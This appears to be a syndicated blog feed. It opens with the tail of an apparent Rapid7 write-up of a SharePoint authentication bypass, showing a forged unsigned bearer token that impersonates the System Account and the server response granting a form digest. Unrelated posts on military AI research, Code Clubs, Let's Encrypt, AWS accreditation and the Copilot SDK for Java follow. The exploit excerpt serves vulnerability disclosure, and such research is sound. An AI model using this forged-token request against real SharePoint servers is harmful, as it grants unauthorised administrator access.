{"d":{"__metadata":{"id":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)","type":"SP.User"},"Alerts":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Alerts"}},"Groups":{"__deferred":{"uri":"https://win-b0i6kv698ls/_api/Web/GetUserById(1073741823)/Groups"}},"Id":1073741823,"IsHiddenInUI":false,"LoginName":"SHAREPOINT\\system","Title":"System Account","PrincipalType":1,"Email":"","IsEmailAuthenticationGuestUser":false,"IsShareByEmailGuestUser":false,"IsSiteAdmin":true,"UserId":{"__metadata":{"type":"SP.UserIdInfo"},"NameId":"S-1-0-0","NameIdIssuer":"urn:office:idp:activedirectory"}}}
To begin to interact with the target SharePoint site as this user we can acquire a new form digest value via a POST request to the /_api/contextinfo endpoint.
POST /_api/contextinfo HTTP/1.1 Host: win-b0i6kv698ls User-Agent: curl/7.81.0 Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ. Accept: application/json Content-Length: 0
Whose response contains a new FormDigestValue we can begin to use.
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=minimalmetadata;streaming=true;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 4
SPRequestDuration: 17
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-db97-e0bd-6d28-795e9bdf7bdb
request-id: e01a0ca2-db97-e0bd-6d28-795e9bdf7bdb
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT
{"odata.metadata":"https://win-b0i6kv698ls/_api/$metadata#SP.ContextWebInformation","FormDigestTimeoutSeconds":1800,"FormDigestValue":"0x08350AA4E26C638120137515168806E0389312ED89151357A505BA8F1F7B4992AAAF9A15D4DD3D5E43ACADE857B5AE5BFFCA753401F5E5A0C3EB6F483E4188E2,21 Apr 2026 10:06:12 -0000","LibraryVersion":"16.0.19725.20210","SiteFullUrl":"https://win-b0i6kv698ls","SupportedSchemaVersions":["14.0.0.0","15.0.0.0"],"WebFullUrl":"https://win-b0i6kv698ls"}
With authentication bypassed, and with a valid form digest, the remote attacker can begin to interact with the authenticated attack surface of the target SharePoint site.
Upcoming webinar
Interested in the AI tooling leveraged throughout the research process? Join Rapid7’s Stephen Fewer and Douglas McKee on Thursday, August 13 to walk through the full exploit chain, actionable next steps and more. Register here.
How the Internet Is Affecting the Way We See Ourselves
Post Syndicated from The Atlantic original https://www.youtube.com/shorts/JXtOz3P_gaQ
THG Podcast: Counterfactuals – Smith v. Allwright
Post Syndicated from The History Guy: History Deserves to Be Remembered original https://www.youtube.com/watch?v=43yjAxMhyXY
AI for Military Support
Post Syndicated from Bruce Schneier original https://www.schneier.com/blog/archives/2026/08/ai-for-military-support.html
Interesting empirical research: “Black Box Warfare: Human Judgment and Military Decision-Making in the Age of AI.”
Abstract: How is AI transforming decision-making in modern conflict? This study provides a unique empirical window into that question by deploying a high-fidelity replica of an AI decision-support system (DSS) used in military targeting. After reconstructing the interface and functionality of the real-world system, we tested its impact on combat decisions in two experiments involving 2,015 Israeli military personnel. Contrary to widespread fears of automation bias, we find strong evidence of algorithmic aversion, especially in scenarios involving high collateral damage. Yet we also show that integrating “explainable AI” features reduces algorithmic aversion and promotes more thoughtful evaluations of algorithmic recommendations. These findings challenge prevailing assumptions, revealing that trust in military AI is dynamic, varying with individual predispositions, perceived operational stakes, and the informational features of the interface. By grounding normative concerns in empirical evidence, our study offers critical insight into the integration of AI in warfare and underscores the enduring importance of human agency in high-stakes military decision-making.
Celebrating the community: Douglas and Oasis Mathare
Post Syndicated from Sophie Ashford original https://www.raspberrypi.org/blog/celebrating-the-community-douglas-and-oasis-mathare/
We love hearing from members of the community and sharing the stories of amazing young people, volunteers, and educators who are using their passion for technology to create positive change in the world around them.
Last year, we shared the story of Douglas, founder and director of Oasis Mathare, an organisation using technology to open doors for young people in one of Nairobi’s largest informal settlements.
In our latest community story, we meet Douglas again, this time alongside the mentors and young people at the heart of Oasis Mathare’s Code Clubs.
Together, they share what coding really means for a community where most young people don’t finish formal education, and where the opportunity to learn a new skill can genuinely change the course of a life.
Douglas’ motivation
Douglas has always been clear about why technology sits at the heart of everything Oasis Mathare does.
“Technology does not have a boundary. It knows no gender, no race. As long as you have access to a computer, you have access to the internet, and you’re being guided, the opportunities are limitless.”
This belief didn’t come from his own journey with formal education — it came from an internet cafe and a lot of curiosity and independent learning. Douglas grew up in Mathare knowing that most young people there were not likely to finish formal education. Rather than seeing that as inevitable, he saw it as a hurdle to overcome.

“I used to go to a nearby internet café where I learned some basic graphic design and got my first employment with no formal training. And I realised it’s really possible to gain a decent livelihood with just skills.”
What Code Club looks like in Mathare
Oasis Mathare now runs Code Clubs in schools and at its own centre, introducing children to programming long before they might encounter it anywhere else. Code Club and the Raspberry Pi Foundation’s learning pathways have become key drivers of the positive impact.

“The resources that we use from [the Foundation] are structured in a really creative way to help kids learn. Initially we had developed curricula to run a Code Club, there were some missing pieces, but now with the Raspberry Pi Foundation pathways, it has sort of bridged the gap that we were facing.”
Students becoming mentors
Perhaps the most powerful thing happening at Oasis Mathare right now is the pipeline forming from learners to leaders. Many young people who come through Code Club go on to volunteer, becoming role models for the children sitting where they once sat.
“It feels so nice seeing students becoming mentors. They act as role models to the Code Club participants. As they are being mentors, it improves their communication and delivery. We are giving them opportunities to work with us to sharpen their skills so that they can get to a greener pasture.”
Keziah, a mentor, shared what drew them to Code Club:
“Being idle around the community can lead to so many negative impacts, so I decided to join Code Club to volunteer, hoping to have a better connection and career growth.”

Faith, a student and mentor, shared a key discovery:
“My thought was like coding is only for genius kids and the smart ones. But I will encourage a young learner to actually partake in this. Coding is not hard. It’s actually fun.”
Hope, another mentor, shared just how impactful being a part of a young person’s journey can be:
“The moment the kids realised they belong to a Code Club is when I see their face light up when their projects run. They made me feel achieved. They made me feel, as a facilitator, as a good mentor. And that’s changed me.”
It’s a reminder that Code Club isn’t just about code. It’s about what happens to a young person’s sense of themselves when they build something that works.
A message to young people everywhere
Douglas shared his wish for any young person living in an underserved community who feels like their future has already been written for them.

“For any young person from Mathare or any other underserved community around the globe who feels that their future is limited, I would like to tell you that it is really possible. It is really possible to change your life, as long as you have a positive mind, you have hope, and you’re working hard.”
Inspired to make an impact in your community?
Douglas and the team at Oasis Mathare are proof of what’s possible when young people have access to learning resources, guidance, and belief. You can find out more about their work at oasismathare.org.
If their story has inspired you to bring coding to young people in your own community, Code Club makes it straightforward to get started, with free resources, training, and a supportive global community behind you. Find out more at codeclub.org.
The post Celebrating the community: Douglas and Oasis Mathare appeared first on Raspberry Pi Foundation.
ESPHome Starter Kit Product Launch – Build. Learn. Automate.
Post Syndicated from Home Assistant original https://www.youtube.com/watch?v=GnXucSzzCqg
Going Back to Our Roots: A Little Piece of Let’s Encrypt History
Post Syndicated from Let's Encrypt original https://letsencrypt.org/2026/08/11/root-shirt.html
Ten years ago, we printed one of the nerdiest t-shirts we’ve ever made. On the front was the entire PEM encoding of ISRG Root X1 in base64. Back then, it represented a future we were working toward. Today, that same design tells the story of just how far Let’s Encrypt has come.
Let’s Encrypt was already issuing publicly trusted certificates in 2016, but ISRG Root X1 itself was still slowly and quietly making its way into browsers and operating systems around the world. For many years, our certificates were trusted through a cross-sign from IdenTrust. ISRG Root X1 itself was added to the major trust stores fairly early on; the slow part was waiting for that update to reach the browsers and devices already out in the world, since many of them only get new trust stores when they’re updated. That took years.
I remember the day we generated Root X1 and the planning and careful execution involved. We all breathed a sigh of relief when it was done but knew that we were really just crossing the starting line since our goal was, and continues to be, to get the Web to 100% encryption.
— Josh Aas, Co-Founder and Executive Director, ISRG
The Internet’s Quiet Infrastructure
When you visit a website over HTTPS, your browser follows a chain of trust that ultimately leads back to a trusted root certificate, like Root X1. If everything is working correctly, the entire process is invisible. You see a secure connection and the cryptography quietly does its job.
When we started, 39% of page loads were encrypted. Today, in much of the world, it’s over 80%. Hundreds of millions of websites rely on Let’s Encrypt certificates every day. Most of the people using those websites will never know the name “ISRG Root X1,” and that’s exactly the point. What once required optimism and patience has become something billions of people depend on without even knowing it’s there.
The Same Design, A Different Meaning
That’s what made us want to bring it back. In 2016, it represented a goal. Looking back ten years later, we realized the same design had come to represent something entirely different.
Today, it represents a decade of work and support by engineers, contributors, sponsors, donors, and advocates who believed that secure communication on the web should be free, automated, and available to everyone. Their support helped make HTTPS the default, not a privilege.

If you have one of the few original shirts, let us know how it’s treating you by dropping a line to [email protected].
A Story Worth Wearing
Let’s Encrypt is run by Internet Security Research Group (ISRG), a nonprofit funded by the generosity of our community. Every certificate we issue and every new challenge we take on is made possible by people who believe the Internet should be more secure and privacy-respecting for everyone.
If you donate $75 or more this summer we’ll send you a limited-edition ISRG Root X1 t-shirt and you can help share our story.
Then you’ll have the chance to tell the story of how you support one small piece of Internet infrastructure that went from an ambitious idea to something a large part of the web quietly depends on every day.
Going Through the LGR Building! Progress so far in August 2026
Post Syndicated from LGR original https://www.youtube.com/watch?v=hBkMCSMikjc
AWS completes the 2026 Police-Assured Secure Facilities (PASF) audit in Europe (London)
Post Syndicated from Tariro Dongo original https://aws.amazon.com/blogs/security/aws-completes-the-2026-police-assured-secure-facilities-pasf-audit-in-europe-london/
We’re excited to announce that our Europe (London) AWS Region has renewed its accreditation for United Kingdom (UK) Police-Assured Secure Facilities (PASF) for Official-Sensitive data. Since 2017, the Amazon Web Services (AWS) Europe (London) Region has been accredited under the PASF program. This demonstrates our continuous commitment to adhere to the heightened expectations of customers with UK law enforcement workloads. Our UK law enforcement customers who require PASF can continue to run their applications in the PASF-accredited Europe (London) Region in confidence.
The PASF is a long-established assurance process, used by UK law enforcement, as a method for assuring the security of facilities such as data centers or other locations that house critical business applications that process or hold police data. PASF consists of a control set of security requirements, an on-site inspection, and an audit interview with representatives of the facility.
The Police Digital Service (PDS) confirmed the accreditation renewal for AWS on May 28, 2026. A confirmation letter can be found on AWS Artifact. The UK police force and law enforcement organizations can also obtain confirmation of the compliance status of AWS through the Police Digital Service.
To learn more about our compliance and security programs, see AWS Compliance Programs.
As an AWS customer, you can reach out to your AWS account team if you have any questions or feedback.
If you have feedback about this post, submit comments in the Comments section below.
Using the GitHub Copilot SDK for Java
Post Syndicated from Edward Burns original https://github.blog/engineering/using-the-github-copilot-sdk-for-java/
Java developers no longer have to rely on Java framework-specific approaches to drive AI from their enterprise apps.
While it is true that Langchain4j empowered developers by disintermediating specific AI vendors, you still had a dependency on Langchain4j. And with Spring AI, well, of course you had a dependency on design choices made by Spring, if not on Spring itself.
Now, GitHub Copilot SDK for Java is the first truly framework agnostic way to drive AI from Java. And with its BYOK support, GitHub Copilot SDK for Java is also AI vendor neutral.
💡 Even though it’s called GitHub Copilot SDK, you can use it with any direct model provider, such as OpenAI, Azure, Anthropic, or OpenAI-compatible endpoints, by passing a provider/ProviderConfig with your own baseUrl + apiKey (or bearer token). No Copilot subscription required. |
The GitHub Copilot SDK for Java is a client library that empowers your server-side Java code to create Copilot agent sessions, register tools, send prompts, and receive structured responses—all programmatically. It works in server environments, including Jakarta EE and Spring. If you’ve been building enterprise Java for any length of time, this SDK will feel like home: CompletableFuture, annotations, lambdas, virtual threads, it’s all here.
This post shows you how to use the SDK, walks through a complete Jakarta EE 11 sample application, and leaves you with concrete next steps to try it yourself. I chose Jakarta EE 11 for my demo because I was the lead release coordinator for that release. I believe in open standards as the best way to empower developers. For more on Jakarta EE 11 see this InfoQ article.
This sample app is an agent harness using Jakarta EE 11. But, of course, developers can build their own agent harness using the well-known Java frameworks and libraries of their choice.
Clone the sample app and try it yourself >
Where to get it
The SDK is available as a Maven dependency:
<dependency>
<groupId>com.github</groupId>
<artifactId>copilot-sdk-java</artifactId>
<version>1.0.7-preview.1</version>
</dependency>
Prerequisites:
- JDK 17 or 25 (25 recommended — unlocks virtual threads and other modern features)
- Maven 3.9+
- A GitHub account with an active Copilot subscription
- The Copilot CLI installed locally at version 1.0.71 or later.
Walk through the sample app
The best way to see the SDK in action is to run this sample application.
Get the code
git clone https://github.com/microsoft/Build26-BRK206-your-agent-anywhere-multiclient-multidevice-with-github-copilot-sdk.git
cd Build26-BRK206-your-agent-anywhere-multiclient-multidevice-with-github-copilot-sdk/src/java-agent-orchestrator
mvn clean package liberty:run
# Open http://localhost:9080/index.xhtml
The Java demo is built on:
| Concern | Technology |
|---|---|
| Runtime | Open Liberty 26.0.0.5 |
| Platform | Jakarta EE 11 (Faces 4.1, CDI 4.1, WebSocket 2.2, Data 1.0, Persistence 3.2) |
| UI | PrimeFaces 15.0.16 |
| AI orchestration | Copilot SDK for Java 1.0.7-preview.1 |
| Database | H2 in-memory (10 seed property listings) |
What the app does
The application is a real-estate lead-management agent pipeline. A customer submits an enquiry (“I’m looking for a 3-bedroom house in London under £800,000”), and the system spins up an isolated Copilot Agent on a virtual thread to process it through a pipeline:

The architecture uses Jakarta WebSocket to push real-time status updates from the server to the browser, so you can watch agents progress through phases as the model calls tools:

Submit multiple inquiries simultaneously to see concurrent virtual-thread agents in action. Each one processes independently with its own Copilot session.


SDK features in action
Let’s walk through the key SDK features as they appear in the sample code.
Defining tools with @CopilotTool
This is the headline API. If you’ve ever written a @GET endpoint in JAX-RS or an @MessageDriven bean, this will feel instantly familiar:
@CopilotTool(value = "Sets the current phase of the agent. Use this to report progress.",
name = "set_current_phase")
public String setCurrentPhase(
@CopilotToolParam("The phase to transition to (VALIDATING, SEARCHING, "
+ "WRITING_REPORT, REJECTED_GARBAGE, REJECTED_NO_MATCHES, or DONE)")
String phaseName) {
phase = Phase.valueOf(phaseName.trim().toUpperCase(Locale.ROOT));
notifyUi();
return "Phase set to " + phase.getLabel();
}
The @CopilotTool annotation declares the method as a tool the model can call. The @CopilotToolParam annotation describes each parameter so the model knows what to pass. The SDK handles all the JSON Schema generation, argument parsing, and dispatch. You just write a normal Java method.
Two build prerequisites for @CopilotTool. The annotation-based tool API is currently an experimental feature of the SDK, so you need to configure two things in your Maven build:
- Enable experimental APIs: pass
-Acopilot.experimental.allowed=trueto the compiler. Without this flag, the annotation processor will refuse to generate the tool metadata. For more details on the experimental APIs see Copilot SDK documentation. - Register the annotation processor: add the SDK as an
annotationProcessorPathso the compiler can find the@CopilotToolprocessor and generate the$$CopilotToolMetaclasses at compile time.
Both are configured in the maven-compiler-plugin:
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.15.0</version>
<configuration>
<compilerArgs>
<arg>-Acopilot.experimental.allowed=true</arg>
</compilerArgs>
<annotationProcessorPaths>
<path>
<groupId>com.github</groupId>
<artifactId>copilot-sdk-java</artifactId>
<version>1.0.7-preview.1</version>
</path>
</annotationProcessorPaths>
</configuration>
</plugin>
To register all annotated tools from an object:
List<ToolDefinition> annotatedTools = ToolDefinition.fromObject(this);
Inline lambda tools with ToolDefinition.from(...)
When you want a tool defined at the call site without a dedicated method, use the lambda style:
ToolDefinition reportIntentTool = ToolDefinition
.from("report_intent",
"Reports the current intent of the agent",
Param.of(String.class, "intent", "Intent in max 4 words"),
(String intent) -> {
currentIntent = intent;
addEvent(Instant.now(), "intent", "Intent updated", intent);
notifyUi();
return "ok";
})
.overridesBuiltInTool(true);
Notice .overridesBuiltInTool(true). This tells the SDK that our report_intent tool deliberately replaces a built-in tool of the same name. This is useful when you need custom behaviour for a tool the model already knows about.
Cross-class tool scanning
Tools don’t have to live in the same class as your agent logic. Here’s searchProperties defined in a separate CDI bean:
@ApplicationScoped
public class PropertyDatabase {
@CopilotTool(value = "Searches the real estate listings database. "
+ "Returns up to 10 matching properties.",
name = "search_properties")
public List<Property> searchProperties(
@CopilotToolParam("Property type substring (e.g. 'flat', 'house')") String type,
@CopilotToolParam("City substring (e.g. 'London', 'Bristol')") String city,
@CopilotToolParam("Minimum number of bedrooms (0 for no minimum)") int minBedrooms,
@CopilotToolParam("Maximum price in GBP (0 for no maximum)") double maxPriceGbp) {
// ... filter and return matching properties ...
}
}
You would normally register these with ToolDefinition.fromObject(propertyDatabase). In the sample app, we use a lambda wrapper instead, because CDI client proxies can obscure the annotation metadata.
Customizing the system message
The SDK gives you fine-grained control over the system message. Use SystemMessageMode.CUSTOMIZE to replace specific sections while preserving the rest:
SystemMessageConfig systemMessage = new SystemMessageConfig()
.setMode(SystemMessageMode.CUSTOMIZE)
.setSections(Map.of(SystemMessageSections.IDENTITY,
new SectionOverride()
.setAction(SectionOverrideAction.REPLACE)
.setContent("""
You are part of a real estate recommendation system.
You will receive enquiries from customers, and you must
carry out the following workflow...
""")));
The text block ("""...""") makes multi-line prompts readable without string concatenation. The IDENTITY section override replaces only the model’s self-description while leaving safety guardrails intact. If you prefer a simpler approach, SystemMessageMode.APPEND adds your content after the default system message without replacing anything.
The agentic loop: sendAndWait(...)
One line kicks off the full agentic loop:
session = client.createSession(sessionConfig).get();
// ...
AssistantMessageEvent result = session.sendAndWait(escapedEnquiry).get();
Behind .get(), the model reasons, calls your tools (potentially multiple times), and returns its final response. On a virtual thread, .get() is cheap. No platform thread is consumed while waiting. The SDK dispatches tool calls to your registered handlers automatically and feeds results back to the model until it’s done.
Real-time event handling with session.on(...)
Subscribe to session events to build responsive UIs:
sessionSubscription = session.on(event -> {
captureSessionEvent(event);
uiUpdateSocket.pushDetailUpdate(id);
});
Every tool call, every result, every assistant message fires an event. The sample app captures these events and pushes them to the browser via Jakarta WebSocket, so the pipeline dashboard updates in real time. You can use pattern matching to handle specific event types:
if (event instanceof AssistantMessageEvent msg) {
finalReport = msg.getData().content();
} else if (event instanceof ToolExecutionStartEvent start) {
// Tool is being invoked...
}
Headless client and permission handling
The client is configured for server-side operation:
copilotClient = new CopilotClient(
new CopilotClientOptions()
.setMode(CopilotClientMode.EMPTY)
.setCopilotHome(copilotHome)
.setExecutor(contextualVirtualThreadExecutor));
CopilotClientMode.EMPTY means no IDE integration — the client talks directly to the Copilot CLI. The custom Executor (discussed below) ensures tool callbacks run with container context.
For permission handling, the sample uses:
sessionConfig.setOnPermissionRequest(PermissionHandler.APPROVE_ALL);
APPROVE_ALL is appropriate for demos and development. In production, implement a real permission policy that validates which tools the model is allowed to invoke.
Jakarta EE integration patterns
The SDK is not a framework island. It composes naturally with Jakarta EE — and of course also with proprietary frameworks such as Spring.
The Executor parameter is the key integration point. Jakarta Concurrency (§5.2 in the 3.1 spec) requires that application-created threads be obtained from a ManagedThreadFactory so the container can:
- Track the thread for lifecycle shutdown (
@PreDestroy/ server stop) - Apply concurrency constraints and policies
- Propagate context automatically (without needing manual
contextualRunnable)
Open Liberty 26.x supports virtual-thread ManagedThreadFactory via the virtual attribute in server.xml.
<managedThreadFactory jndiName="concurrent/virtualThreadFactory" virtual="true" />
Then, in AppState.java we inject the factory:
@Resource(lookup = "concurrent/virtualThreadFactory")
private ManagedThreadFactory virtualThreadFactory;
And use it to create the Executor we pass to the Copilot SDK.
// The ManagedThreadFactory (virtual=true) creates container-managed virtual
// threads that automatically propagate CDI, JNDI, and transaction context.
Executor managedVirtualExecutor = runnable ->
virtualThreadFactory.newThread(runnable).start()
String copilotHome = Path.of(System.getProperty("user.home"), ".copilot").toString();
CopilotClientOptions copilotClientOptions = new CopilotClientOptions()
.setMode(CopilotClientMode.EMPTY)
.setCopilotHome(copilotHome)
.setExecutor(managedVirtualExecutor);
copilotClient = new CopilotClient(copilotClientOptions);
This creates virtual threads that carry the container’s context. When the SDK dispatches a tool call to searchProperties(), that method can @Inject a JPA repository and query the database, because the container context is present on the callback thread.
Other integration patterns in the sample:
- CDI
@ApplicationScopedfor the singletonCopilotClient(one client per application lifecycle). - Jakarta Faces
f:websocketpush for real-time browser updates viaPushContext. - Jakarta Data
@Repositoryfor type-safe database queries without raw JPA boilerplate.
Fine-grained tool access control with ToolSet. The SessionConfig lets you specify exactly which tools each session can access:
sessionConfig.setAvailableTools(new ToolSet()
.addCustom("*") // all registered custom tools
.addBuiltIn("web_fetch")); // only the web_fetch built-in
This is an important production concern. Rather than exposing every built-in tool (file system access, shell execution, etc.), you explicitly opt in to only what the agent needs. In the sample app, we allow all custom tools plus web_fetch so the agent can look up real-time property information during the Search phase.
Summary
Here’s what we covered:
- Java-native API:
CompletableFuture, annotations, lambdas, and virtual threads make the SDK feel like idiomatic Java, not a ported-from-another-language afterthought. - Three tool-definition styles: annotations for enterprise patterns, lambdas for inline convenience, JSON Schema for full control.
- System message customization: section-level overrides give you precise control over agent behaviour.
- The agentic loop in one line:
sendAndWait(...)handles the full tool-calling loop automatically. - Real-time event streaming:
session.on(...)enables responsive UIs and observability. - Headless server-side operation: no IDE required; runs anywhere the Copilot CLI is available.
- Natural composition with Jakarta EE: CDI, JPA, WebSocket, and virtual threads all work together through the
Executorintegration point.
What to try next
- Explore the BYOK support. The GitHub Copilot SDK can be used directly against model providers, for example OpenAI, Azure, Anthropic, or OpenAI-compatible endpoints, by passing a
provider/ProviderConfigwith your ownbaseUrl+apiKey(or bearer token). No Copilot subscription required. - Clone the sample app and run it locally. Submit multiple enquiries simultaneously to see virtual threads in action.
- Swap the model. Try
session.setModel(...)to experiment with different Copilot models. - Add your own tool. Define a new
@CopilotToolmethod (a mortgage calculator, a school-district lookup) and watch the agent discover and use it. - Deploy to Azure. Open Liberty runs great on Azure App Service, AKS, or Azure Container Apps. See the Jakarta EE on Azure guidance at https://aka.ms/java/ee.
The Copilot SDK for Java puts the full power of GitHub Copilot behind your Java code with no IDE required and no framework lock-in.
The post Using the GitHub Copilot SDK for Java appeared first on The GitHub Blog.